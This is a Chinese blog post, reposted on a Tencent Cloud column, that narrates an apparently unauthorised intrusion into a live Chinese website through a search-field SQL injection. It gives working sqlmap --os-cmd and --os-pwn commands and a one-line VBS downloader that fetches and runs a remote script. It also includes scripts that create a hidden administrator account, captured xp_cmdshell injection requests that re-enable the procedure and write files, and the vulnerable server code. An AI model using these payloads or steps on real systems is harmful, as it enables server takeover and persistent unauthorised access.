前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次利用阿D注入渗透实战案例

记一次利用阿D注入渗透实战案例

作者头像
潇湘信安
发布2021-01-12 12:09:11
8480
发布2021-01-12 12:09:11
举报
文章被收录于专栏:潇湘信安潇湘信安

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。所有话题标签:#Web安全 #漏洞复现 #工具使用 #权限提升#权限维持 #防护绕过 #内网安全 #实战案例#其他笔记 #资源分享 #MSF

基本信息探测:

代码语言:javascript
复制
目标站点:http://baike.****.cn
服务器IP:183.***.**.203(中国)    
环境平台:ASP.NET 4.0.30319
服务器系统:Microsoft-IIS/6.0
搜索型注入:http://baike.****.cn/Question/AskSearchList1.aspx?Key=%27
          http://baike.****.cn/Question/AskSearchList2.aspx?Key=%27
          http://baike.****.cn/Knowledge/KnowledgeSearchList.aspx?Key=%27

0x02 实战测试过程

在这个网站共找到了3处SA权限的搜索型注入,随便在一个搜索框中输入'单引号后即会爆出语法错误。

首先我们先尝试了Pangolin穿山甲和明小子,结果都识别不出该注入点,又试了一下Havij胡萝卜和JCZ3.1,虽然能识别这个注入点,但是获取不到数据库信息、库名,也执行不了系统命令等。

Sqlmap能识别该注入点并且能够执行部分系统命令,但在进一步测试中发现以下一些问题:

  • 1. 因服务器上的net.exe和net1.exe被降权了而无法直接添加管理员用户;
  • 2. --os-pwn参数也不能直接获取目标Meterpreter会话,也没跑出SA密码;
  • 3. 没有爆出绝对路径,无法Getshell,当时没想到用dir等命令找绝对路径
  • 4. 虽然能获取当前库baike、用户名sa,但是没找到后台地址,也不想多走这步了 ;
代码语言:javascript
复制

sqlmap -u "http://baike.****.cn/Question/AskSearchList2.aspx?Key=" --os-cmd=whoami --threads=10
代码语言:javascript
复制

sqlmap -u "http://baike.****.cn/Question/AskSearchList2.aspx?Key=" --os-cmd=net user 90sec 90sec /add --threads=10
代码语言:javascript
复制
sqlmap -u "http://baike.****.cn/Question/AskSearchList2.aspx?Key=" --os-pwn --msf-path=/usr/share/metasploit-framework --threads=10

Sqlmap虽然没有命令可以直接上传文件,但是我们可以通过--os-cmd参数来写一个VBS下载者来下载远控马或VBS添加管理员用户脚本,不过由于Sqlmap不支持多行内容写入,所以这里还需要用:冒号将所有脚本内容放在同一行写入,然后再去执行一下即可。

VBS Download Script:

代码语言:javascript
复制
Set Post = CreateObject("Msxml2.XMLHTTP"):Set Shell = CreateObject("Wscript.Shell"):Post.Open "GET","http://127.0.0.1/3.0/383442049/kRskzln4I4J543X55MK/API_Shell.Users.txt",0 :Post.Send():Set aGet = CreateObject("ADODB.Stream"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile "c:\sec.vbs",2:wscript.sleep 1000:Shell.Run ("c:\sec.vbs")

ADSI_WinNT:

代码语言:javascript
复制
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","SQLDebugger")
od.SetPassword "www.90sec.org"
od.SetInfo
Set of=GetObject(os&"/SQLDebugger",user)
oe.add os&"/SQLDebugger"

API_Shell.Users:

代码语言:javascript
复制
Set o=CreateObject( "Shell.Users" )
Set z=o.create("SQLDebugger")
z.changePassword "www.90sec.org",""
z.setting("AccountType")=3

Sqlmap --os-cmd Write VBS File:

代码语言:javascript
复制
sqlmap -u "http://baike.pack.cn/Question/AskSearchList2.aspx?Key=" --os-cmd="echo Set Post = CreateObject("Msxml2.XMLHTTP"):Set Shell = CreateObject("Wscript.Shell"):Post.Open "GET","http://127.0.0.1/3.0/383442049/kRskzln4I4J543X55MK/API_Shell.Users.txt",0 :Post.Send():Set aGet = CreateObject("ADODB.Stream"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile "c:\sec.vbs",2:wscript.sleep 1000:Shell.Run ("c:\sec.vbs") > c:\90sec.vbs"

命令虽然是执行完成了,但是我们的VBS下载者文件并没有被写进目标磁盘,将以上代码分为多次写入也不行,按理说应该是没问题的,因为我本地测试都是OK的!看来Sqlmap是行不通了,继续尝试一下我们曾经常用的阿D注入神器看看吧!

阿D注入工具能识别这个注入点,而且在cmd/上传模块中的底部有一个上传文件的功能,但是这里仍然不能列出目录,执行部分系统命令时返回的也都是乱码,不过这里还有以下两个思路可以尝试。

  • 1. 利用Echo命令写VBS下载者,然后再执行该脚本(失败!);
  • 2. 利用上传功能上传VBS添加管理员用户脚本并执行(成功!);

使用WSExplorer抓包工具抓的啊D注入工具上传功能提交的数据包如下,可以看到也是通过MSSQL中的xp_cmdshell组件来执行echo命令写入VBS文件的。

代码语言:javascript
复制
/Question/AskSearchList2.aspx?Key=%25';use%20master%20dbcc%20addextendedproc('xp_cmdshell','xplog70.dll')--
/Question/AskSearchList2.aspx?Key=%25';EXEc%20MaStER..Xp_CmdShell%20'EcHo%20z.setting(^"AccountType^")=3%20>>c:\API_Shell.Users.vbs';exec%20master..sp_dropextendedproc%20'xp_cmdshell'--
/Question/AskSearchList2.aspx?Key=%25';use%20master%20dbcc%20addextendedproc('xp_cmdshell','xplog70.dll')--
/Question/AskSearchList2.aspx?Key=%25';EXEc%20MaStER..Xp_CmdShell%20'EcHo%20z.changePassword%20^"www.90sec.org^",^"^"%20>>c:\API_Shell.Users.vbs';exec%20master..sp_dropextendedproc%20'xp_cmdshell'--
/Question/AskSearchList2.aspx?Key=%25';use%20master%20dbcc%20addextendedproc('xp_cmdshell','xplog70.dll')--
/Question/AskSearchList2.aspx?Key=%25';EXEc%20MaStER..Xp_CmdShell%20'EcHo%20Set%20z=o.create(^"SQLDebugger^")%20>>c:\API_Shell.Users.vbs';exec%20master..sp_dropextendedproc%20'xp_cmdshell'--
/Question/AskSearchList2.aspx?Key=%25';use%20master%20dbcc%20addextendedproc('xp_cmdshell','xplog70.dll')--
/Question/AskSearchList2.aspx?Key=%25';EXEc%20MaStER..Xp_CmdShell%20'EcHo%20Set%20o=CreateObject(%20^"Shell.Users^"%20)%20>c:\API_Shell.Users.vbs';exec%20master..sp_dropextendedproc%20'xp_cmdshell'--

最后是利用啊D注入工具的上传功能将VBS添加管理员用户脚本上传至目标磁盘并成功执行,进入目标服务器后发现管理员是将net.exe和net1.exe的Everyone权限设置为拒绝了,所以无法执行net。

Question/AskSearchList2.aspx.cs:

代码语言:javascript
复制
       {
            string constring = ConfigurationSettings.AppSettings["conStr"];
            using (SqlConnection con = new SqlConnection(constring))
            {
                con.Open();
                SqlCommand com = new SqlCommand("bsp_Search_Question_Key2", con);
                com.CommandType = CommandType.StoredProcedure;
                com.Parameters.Add("@Key", SqlDbType.VarChar, 200);
                com.Parameters["@Key"].Value = Request.QueryString["Key"].ToString();
                DataSet ds = new DataSet();
                SqlDataAdapter da = new SqlDataAdapter();
                da.SelectCommand = com;
                da.Fill(ds, "bst_Question_Base");
                int curpage = Convert.ToInt32(Label1.Text);
                PagedDataSource ps = new PagedDataSource();
                ps.DataSource = ds.Tables["bst_Question_Base"].DefaultView;
                ps.AllowPaging = true;
                ps.PageSize = 10;
                ps.CurrentPageIndex = curpage - 1;
                LinkButton1.Enabled = true;
                LinkButton2.Enabled = true;
                LinkButton3.Enabled = true;
                LinkButton4.Enabled = true;
                if (curpage == 1)
                {
                    LinkButton1.Enabled = false;
                    LinkButton2.Enabled = false;
                }
                if (curpage == ps.PageCount)
                {
                    LinkButton3.Enabled = false;
                    LinkButton4.Enabled = false;
                }
                Label2.Text = Convert.ToString(ps.PageCount);
                lit_Questionlist.DataSource = ps;
                lit_Questionlist.DataBind();
            }
        }
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-12-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档